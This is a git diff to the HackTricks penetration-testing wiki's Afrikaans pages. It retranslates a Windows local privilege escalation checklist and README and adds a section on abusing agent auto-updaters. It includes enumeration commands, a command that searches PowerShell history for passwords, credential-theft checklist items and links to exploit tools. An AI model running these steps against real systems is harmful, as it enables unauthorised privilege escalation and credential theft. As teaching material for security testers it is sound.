diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 343cdd455..9a62d47c5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -236,6 +236,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 871fb7d19..f8871df66 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,113 +1,114 @@ -# Kontrolelys - Plaaslike Windows Privilege Escalation +# Kontrolelys - Local Windows Privilege Escalation {{#include ../banners/hacktricks-training.md}} -### **Beste hulpmiddel om na Windows plaaslike privilege escalatie vektore te soek:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Beste hulpmiddel om Windows local privilege escalation vektore te soek:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -### [Stelselinligting](windows-local-privilege-escalation/index.html#system-info) +### [System Info](windows-local-privilege-escalation/index.html#system-info) -- [ ] Verkry [**Stelselinligting**](windows-local-privilege-escalation/index.html#system-info) -- [ ] Soek na **kernel** [**exploits met behulp van skripte**](windows-local-privilege-escalation/index.html#version-exploits) -- [ ] Gebruik **Google om te soek** na kernel **exploits** -- [ ] Gebruik **searchsploit om te soek** na kernel **exploits** -- [ ] Interessante inligting in [**omgewing veranderlikes**](windows-local-privilege-escalation/index.html#environment)? -- [ ] Wagwoorde in [**PowerShell geskiedenis**](windows-local-privilege-escalation/index.html#powershell-history)? -- [ ] Interessante inligting in [**Internet instellings**](windows-local-privilege-escalation/index.html#internet-settings)? -- [ ] [**Skyfies**](windows-local-privilege-escalation/index.html#drives)? +- [ ] Verkry [**System information**](windows-local-privilege-escalation/index.html#system-info) +- [ ] Soek na **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) +- [ ] Gebruik **Google to search** vir kernel **exploits** +- [ ] Gebruik **searchsploit to search** vir kernel **exploits** +- [ ] Interessante inligting in [**env vars**](windows-local-privilege-escalation/index.html#environment)? +- [ ] Wagwoorde in [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)? +- [ ] Interessante inligting in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)? +- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? - [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)? -### [Logging/AV enumerasie](windows-local-privilege-escalation/index.html#enumeration) +### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] Kontroleer [**Auditing**](windows-local-privilege-escalation/index.html#audit-settings) en [**WEF**](windows-local-privilege-escalation/index.html#wef) instellings +- [ ] Kontroleer [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) en [**WEF** ](windows-local-privilege-escalation/index.html#wef) instellings - [ ] Kontroleer [**LAPS**](windows-local-privilege-escalation/index.html#laps) -- [ ] Kontroleer of [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) aktief is -- [ ] [**LSA Beskerming**](windows-local-privilege-escalation/index.html#lsa-protection)? +- [ ] Kontroleer of [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) aktief is +- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? - [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) -- [ ] [**Gekapte Kredensiale**](windows-local-privilege-escalation/index.html#cached-credentials)? +- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? - [ ] Kontroleer of enige [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) -- [ ] [**AppLocker Beleid**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? +- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) -- [ ] [**Gebruiker Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Kontroleer [**huidige** gebruiker **privileges**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Is jy [**lid van enige bevoorregte groep**](windows-local-privilege-escalation/index.html#privileged-groups)? -- [ ] Kontroleer of jy [enige van hierdie tokens geaktiveer het](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? -- [ ] [**Gebruikers Sessies**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] Kontroleer [**gebruikers se tuis**](windows-local-privilege-escalation/index.html#home-folders) (toegang?) -- [ ] Kontroleer [**Wagwoord Beleid**](windows-local-privilege-escalation/index.html#password-policy) -- [ ] Wat is [**binne die Klembord**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? +- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Kontroleer [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Is jy [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)? +- [ ] Kontroleer of jy enige van hierdie tokens geaktiveer het: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? +- [ ] Kontroleer [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (access?) +- [ ] Kontroleer [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) +- [ ] Wat is[ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? -### [Netwerk](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Kontroleer **huidige** [**netwerk** **inligting**](windows-local-privilege-escalation/index.html#network) -- [ ] Kontroleer **verborgene plaaslike dienste** wat beperk is tot die buitekant +- [ ] Kontroleer **huidige** [**network** **information**](windows-local-privilege-escalation/index.html#network) +- [ ] Kontroleer **hidden local services** wat na die buitekant beperk is -### [Huidige Prosesse](windows-local-privilege-escalation/index.html#running-processes) +### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) -- [ ] Prosesse binêre [**lêer en vouer toestemmings**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) -- [ ] [**Geheue Wagwoord mynbou**](windows-local-privilege-escalation/index.html#memory-password-mining) -- [ ] [**Onveilige GUI toepassings**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] Steel kredensiale met **interessante prosesse** via `ProcDump.exe` ? (firefox, chrome, ens ...) +- [ ] Kontroleer proses-binaries [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) +- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) +- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) +- [ ] Steel credentials met **interesting processes** via `ProcDump.exe` ? (firefox, chrome, etc ...) -### [Dienste](windows-local-privilege-escalation/index.html#services) +### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] [Kan jy **enige diens** **wysig**?](windows-local-privilege-escalation/index.html#permissions) -- [ ] [Kan jy **wysig** die **binêre** wat deur enige **diens** **uitgevoer** word?](windows-local-privilege-escalation/index.html#modify-service-binary-path) -- [ ] [Kan jy **wysig** die **register** van enige **diens**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) -- [ ] [Kan jy voordeel trek uit enige **ongekwote diens** binêre **pad**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) +- [ ] [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions) +- [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) +- [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) +- [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) -### [**Toepassings**](windows-local-privilege-escalation/index.html#applications) +### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] **Skryf** [**toestemmings op geïnstalleerde toepassings**](windows-local-privilege-escalation/index.html#write-permissions) -- [ ] [**Opstart Toepassings**](windows-local-privilege-escalation/index.html#run-at-startup) +- [ ] **Skryf** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) - [ ] **Kwetsbare** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) ### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) -- [ ] Kan jy **skryf in enige vouer binne PATH**? -- [ ] Is daar enige bekende diens binêre wat **probeer om enige nie-bestaande DLL** te laai? -- [ ] Kan jy **skryf** in enige **binêre vouer**? +- [ ] Kan jy **write in any folder inside PATH**? +- [ ] Is daar enige bekende service binary wat **tries to load any non-existant DLL**? +- [ ] Kan jy **Skryf** in enige **binaries folder**? -### [Netwerk](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Enumereer die netwerk (deel, interfaces, roetes, bure, ...) -- [ ] Neem 'n spesiale kyk na netwerkdienste wat op localhost (127.0.0.1) luister +- [ ] Enumereer die netwerk (shares, interfaces, routes, neighbours, ...) +- [ ] Gee besondere aandag aan netwerkdienste wat op localhost (127.0.0.1) luister -### [Windows Kredensiale](windows-local-privilege-escalation/index.html#windows-credentials) +### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) -- [ ] [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials) kredensiale -- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) kredensiale wat jy kan gebruik? -- [ ] Interessante [**DPAPI kredensiale**](windows-local-privilege-escalation/index.html#dpapi)? -- [ ] Wagwoorde van gestoor [**Wifi netwerke**](windows-local-privilege-escalation/index.html#wifi)? -- [ ] Interessante inligting in [**gestoor RDP Verbindinge**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? -- [ ] Wagwoorde in [**onlangs uitgevoerde opdragte**](windows-local-privilege-escalation/index.html#recently-run-commands)? -- [ ] [**Afgeleë Desktop Kredensiale Bestuurder**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) wagwoorde? -- [ ] [**AppCmd.exe** bestaan](windows-local-privilege-escalation/index.html#appcmd-exe)? Kredensiale? -- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Syde Laai? +- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials +- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials wat jy kan gebruik? +- [ ] Interessante [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? +- [ ] Wagwoorde van gestoorde [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)? +- [ ] Interessante inligting in [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? +- [ ] Wagwoorde in [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)? +- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) wagwoorde? +- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Wagwoorde? +- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading? -### [Lêers en Register (Kredensiale)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) +### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) -- [ ] **Putty:** [**Kredensiale**](windows-local-privilege-escalation/index.html#putty-creds) **en** [**SSH gas sleutels**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) -- [ ] [**SSH sleutels in register**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? -- [ ] Wagwoorde in [**onbewaakte lêers**](windows-local-privilege-escalation/index.html#unattended-files)? -- [ ] Enige [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) rugsteun? -- [ ] [**Cloud kredensiale**](windows-local-privilege-escalation/index.html#cloud-credentials)? +- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) +- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? +- [ ] Wagwoorde in [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)? +- [ ] Enige [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) backup? +- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)? - [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) lêer? -- [ ] [**Gekapte GPP Wagwoord**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? -- [ ] Wagwoord in [**IIS Web konfigurasie lêer**](windows-local-privilege-escalation/index.html#iis-web-config)? +- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? +- [ ] Wagwoord in [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)? - [ ] Interessante inligting in [**web** **logs**](windows-local-privilege-escalation/index.html#logs)? -- [ ] Wil jy [**kredensiale vra**](windows-local-privilege-escalation/index.html#ask-for-credentials) aan die gebruiker? -- [ ] Interessante [**lêers binne die Herwinde Mandjie**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? -- [ ] Ander [**register wat kredensiale bevat**](windows-local-privilege-escalation/index.html#inside-the-registry)? -- [ ] Binne [**Bladsy data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, geskiedenis, boekmerke, ...)? -- [ ] [**Generiese wagwoord soektog**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) in lêers en register -- [ ] [**Hulpmiddels**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) om outomaties vir wagwoorde te soek +- [ ] Wil jy [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) aan die gebruiker? +- [ ] Interessante [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? +- [ ] Ander [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)? +- [ ] Binne [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)? +- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) in lêers en register +- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) om outomaties vir wagwoorde te soek -### [Gelekte Hanteerders](windows-local-privilege-escalation/index.html#leaked-handlers) +### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) -- [ ] Het jy toegang tot enige hanteerder van 'n proses wat deur die administrateur uitgevoer word? +- [ ] Het jy toegang tot enige handler van 'n proses wat deur administrator uitgevoer word? -### [Pyp Kliënt Impersonasie](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) +### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) - [ ] Kontroleer of jy dit kan misbruik diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index c14e46ebe..3288f3896 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -### **Beste hulpmiddel om Windows local privilege escalation vectors te soek:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ## Inleidende Windows-teorie @@ -26,7 +26,7 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**As jy nie weet wat integrity levels in Windows is nie, lees asseblief die volgende bladsy voordat jy voortgaan:** +**As jy nie weet wat integrity levels in Windows is nie, moet jy die volgende bladsy lees voordat jy voortgaan:** {{#ref}} @@ -35,7 +35,7 @@ integrity-levels.md ## Windows Sekuriteitskontroles -Daar is verskeie dinge in Windows wat jou kan keer om die stelsel te enumereer, uitvoerbare lêers te laat loop of selfs jou aktiwiteite op te spoor. Jy moet die volgende bladsy lees en al hierdie verdedigingsmeganismes enumereer voordat jy met die privilege escalation enumeration begin: +Daar is verskillende dinge in Windows wat jou kan **prevent you from enumerating the system**, uitvoerbare lêers kan blokkeer of selfs jou aktiwiteite kan **detect**. Jy moet die volgende **page** **read** en al hierdie **defenses** **mechanisms** **enumerate** voordat jy met die privilege escalation-ondersoek begin: {{#ref}} @@ -44,9 +44,9 @@ Daar is verskeie dinge in Windows wat jou kan keer om die stelsel te enumereer, ## Stelselinligting -### Weergawe-inligting-enumerasie +### Version info enumeration -Kontroleer of die Windows-weergawe enige bekende kwetsbaarheid het (kontroleer ook watter patches toegepas is). +Check if the Windows version has any known vulnerability (check also the patches applied). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,18 +59,18 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Weergawe Exploits +### Weergawe-eksploite -This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for searching out detailed information about Microsoft-sekuriteitskwesbaarhede. Hierdie databasis bevat meer as 4,700 sekuriteitskwesbaarhede, wat die **massive attack surface** wat 'n Windows-omgewing bied, aantoon. +Hierdie [site](https://msrc.microsoft.com/update-guide/vulnerability) is handig om gedetailleerde inligting oor Microsoft-sekuriteitskwesbaarhede op te spoor. Hierdie databasis het meer as 4,700 sekuriteitskwesbaarhede, wat die **massive attack surface** wat 'n Windows-omgewing bied, toon. **Op die stelsel** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas het watson ingebed)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_ -**Lokaal met stelsel-inligting** +**Lokaal met stelselinligting** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) @@ -83,7 +83,7 @@ This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for ### Omgewing -Enige credential/Juicy info gestoor in die env variables? +Is enige credential/Juicy info in die env variables gestoor? ```bash set dir env: @@ -99,7 +99,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell Transkripsielêers +### PowerShell-transkripsielêers Jy kan leer hoe om dit aan te skakel by [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash @@ -116,34 +116,34 @@ Stop-Transcript ``` ### PowerShell Module Logging -Detaille van PowerShell-pyplynuitvoerings word aangeteken, insluitend uitgevoerde opdragte, opdrag-aanroepe en dele van skripte. Dit is egter moontlik dat volledige uitvoeringsdetalje en uitvoerresultate nie vasgelê word nie. +Besonderhede van PowerShell pipeline-uitvoerings word aangeteken, insluitend uitgevoerde kommando's, kommando-aanroepe, en dele van skripte. Volledige uitvoeringsbesonderhede en uitsetresultate mag egter nie altyd vasgelê word nie. -Om dit te aktiveer, volg die instruksies in die "Transcript files" afdeling van die dokumentasie, en kies **"Module Logging"** in plaas van **"Powershell Transcription"**. +Om dit te aktiveer, volg die instruksies in die "Transcript files" afdeling van die dokumentasie, en kies **"Module Logging"** eerder as **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Om die laaste 15 gebeure van PowersShell logs te sien, kan jy uitvoer: +Om die laaste 15 events van PowersShell logs te sien, kan jy uitvoer: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -'n Volledige aktiwiteits- en inhoudsregister van die script se uitvoering word vasgelê, wat verseker dat elke block of code gedokumenteer word terwyl dit loop. Hierdie proses bewaar 'n omvattende audit trail van elke aktiwiteit, waardevol vir forensics en die ontleding van kwaadaardige gedrag. Deur alle aktiwiteit tydens uitvoering te dokumenteer, word gedetailleerde insigte in die proses verskaf. +ʼn volledige register van aktiwiteite en die volle inhoud van die uitvoering van die skrip word vasgelê, wat verseker dat elke kodeblok gedokumenteer word soos dit uitgevoer word. Hierdie proses bewaar 'n omvattende ouditspoor van elke aktiwiteit, wat waardevol is vir forensiese ondersoeke en die ontleding van kwaadwillige gedrag. Deur alle aktiwiteite tydens uitvoering te dokumenteer, word gedetailleerde insigte in die proses verskaf. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Loggebeurtenisse vir die Script Block kan binne die Windows Event Viewer gevind word by die pad: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -Om die laaste 20 gebeurtenisse te sien, kan jy gebruik: +Gebeure vir die Script Block kan in die Windows Event Viewer gevind word by die pad: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Om die laaste 20 gebeure te sien, kan jy die volgende gebruik: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` -### Internet-instellings +### Internetinstellings ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" @@ -156,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Jy kan die stelsel kompromitteer as die opdaterings nie met http**S** versoek word nie, maar met http. +Jy kan die stelsel kompromitteer as die opdaterings nie via http**S** versoek word nie, maar via http. -Begin deur te kontroleer of die netwerk 'n nie-SSL WSUS-opdatering gebruik deur die volgende in cmd uit te voer: +Begin deur te kontroleer of die netwerk 'n nie-SSL WSUS update gebruik deur die volgende in cmd uit te voer: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -182,9 +182,9 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` En as `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` of `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` gelyk is aan `1`. -Dan is **it is exploitable.** As die laaste register gelyk is aan 0, sal die WSUS-inskrywing geïgnoreer word. +Dan is dit **uitbruikbaar.** As die laaste registerwaarde gelyk is aan `0`, sal die WSUS-inskrywing geïgnoreer word. -Om hierdie kwetsbaarhede uit te buit, kan jy gereedskap soos gebruik: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Dit is MiTM weaponized exploits-skripte om 'fake' updates in nie-SSL WSUS-verkeer te injekteer. +Om hierdie kwesbaarhede uit te buit kan jy gereedskap soos: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) gebruik — dit is MiTM-gewapende exploit-skripte om 'fake' opdaterings in nie-SSL WSUS-verkeer in te spuit. Read the research here: @@ -195,25 +195,33 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Basies is dit die fout wat hierdie bug uitbuit: +Basies is dit die fout wat hierdie probleem uitbuit: -> As ons die mag het om ons plaaslike gebruikersproxy te wysig, en Windows Updates gebruik die proxy wat in Internet Explorer’s settings gekonfigureer is, het ons dus die mag om [PyWSUS](https://github.com/GoSecure/pywsus) plaaslik te laat loop om ons eie verkeer te onderskep en kode as 'n geprivilegieerde gebruiker op ons toestel uit te voer. +> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. > -> Verder, aangesien die WSUS-diens die huidige gebruiker se instellings gebruik, sal dit ook die gebruiker se sertifikaatwinkel gebruik. As ons 'n self-getekende sertifikaat vir die WSUS-hostname genereer en hierdie sertifikaat by die huidige gebruiker se sertifikaatwinkel voeg, sal ons beide HTTP en HTTPS WSUS-verkeer kan onderskep. WSUS gebruik geen HSTS-agtige meganismes om 'n trust-on-first-use'-tipe validering op die sertifikaat toe te pas nie. As die aangebiedde sertifikaat deur die gebruiker vertrou word en die korrekte hostname het, sal dit deur die diens aanvaar word. +> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. -You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). +Jy kan hierdie kwesbaarheid uitbuit met die hulpmiddel [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (sodra dit vrygestel is). + +## Derdeparty Auto-Updaters en Agent IPC (local privesc) + +Baie enterprise agents openbaar 'n localhost IPC-oppervlak en 'n bevoorregte opdateringskanaal. As inskrywing gedwing kan word na 'n aanvaler-bediener en die updater 'n rogue root CA of swak ondertekenaarkontroles vertrou, kan 'n plaaslike gebruiker 'n kwaadwillige MSI lewer wat die SYSTEM-diens installeer. Sien 'n gegeneraliseerde tegniek (gebaseer op die Netskope stAgentSvc chain – CVE-2025-0309) hier: + +{{#ref}} +abusing-auto-updaters-and-ipc.md +{{#endref}} ## KrbRelayUp -Daar bestaan 'n **local privilege escalation**-kwetsbaarheid in Windows **domain**-omgewings onder spesifieke toestande. Hierdie toestande sluit omgewings in waar **LDAP signing is not enforced,** gebruikers self-regte het wat hulle toelaat om **Resource-Based Constrained Delegation (RBCD),** te konfigureer, en die vermoë vir gebruikers om rekenaars binne die domain te skep. Dit is belangrik om op te let dat hierdie **requirements** met **default settings** vervul word. +Daar bestaan 'n **local privilege escalation** kwesbaarheid in Windows **domain**-omgewings onder spesifieke voorwaardes. Hierdie voorwaardes sluit omgewings in waar **LDAP signing is not enforced,** gebruikers self-regte het wat hulle toelaat om **Resource-Based Constrained Delegation (RBCD)** te konfigureer, en die vermoë vir gebruikers om rekenaars binne die domein te skep. Dit is belangrik om daarop te let dat hierdie **vereistes** met **default settings** nagekom word. Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -Vir meer inligting oor die verloop van die aanval, sien [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +For more information about the flow of the attack check 